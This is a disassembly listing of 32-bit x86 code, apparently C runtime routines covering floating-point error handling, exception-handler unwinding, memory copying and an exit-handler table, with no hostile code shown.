push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr 